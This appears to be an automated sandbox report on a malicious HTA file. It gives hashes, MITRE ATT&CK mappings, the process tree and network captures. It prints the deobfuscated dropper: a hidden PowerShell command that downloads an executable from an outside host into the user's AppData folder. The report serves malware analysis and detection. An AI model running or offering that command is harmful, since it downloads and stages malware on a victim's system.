3e2ba9a25e9891c6dcb75ad73c1262d523e09f0eb3d095ede9ea9d11f42ebc28

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
28/11/2024, 22:38 UTC

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General

Target

myguy.hta
Size

13KB
MD5

0487382a4daf8eb9660f1c67e30f8b25
SHA1

736752744122a0b5ee4b95ddad634dd225dc0f73
SHA256

ee29b9c01318a1e23836b949942db14d4811246fdae2f41df9f0dcd922c63bc6
SHA512

e1e7d81d54efd526139ea8ac792ed2035c8e70f040319c0b65f723431d31077c7a6927553890c99151f2354f51c4020ed94e0e2e5d56386c2fc4828e95869106
SSDEEP

192:ScIsmNvaHz65bP/U/njs3NH0Z0UvDVE6Az6XVHBycT6iLMUpJ2seCYHlfeb:SPXTmnjs3BU9A27BNLMUTb

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

1
(new-object system.net.webclient).downloadfile("http://french-cooking.com/myguy.exe", "C:\\Users\\Admin\\AppData\\Roaming\\17530.exe")
2

URLs

exe.dropper

http://french-cooking.com/myguy.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2688	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2688	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 2688	2644	mshta.exe	30
PID 2644 wrote to memory of 2688	2644	mshta.exe	30
PID 2644 wrote to memory of 2688	2644	mshta.exe	30
PID 2644 wrote to memory of 2688	2644	mshta.exe	30

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\myguy.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.com/myguy.exe', 'C:\Users\Admin\AppData\Roaming\17530.exe');
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688

Network

DNS

french-cooking.com

powershell.exe

Remote address:

8.8.8.8:53

Request

french-cooking.com

IN A

Response

french-cooking.com

IN A

54.36.91.62
GET

http://french-cooking.com/myguy.exe

powershell.exe

Remote address:

54.36.91.62:80

Request

GET /myguy.exe HTTP/1.1
Host: french-cooking.com
Connection: Keep-Alive

Response

HTTP/1.1 403 Forbidden

date: Thu, 28 Nov 2024 22:38:23 GMT
content-type: text/html; charset=iso-8859-1
content-length: 199
server: OVHcloud
x-iplb-request-id: B5D7B053:C029_36245B3E:0050_6748F0DF_5BFC:4D14
x-iplb-instance: 52219

54.36.91.62:80

http://french-cooking.com/myguy.exe

http

powershell.exe

261 B
521 B
4
2

HTTP Request

GET http://french-cooking.com/myguy.exe

HTTP Response

403

8.8.8.8:53

french-cooking.com

dns

powershell.exe

64 B
80 B
1
1

DNS Request

french-cooking.com

DNS Response

54.36.91.62

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2644-0-0x0000000003280000-0x00000000032A0000-memory.dmp

Filesize
128KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

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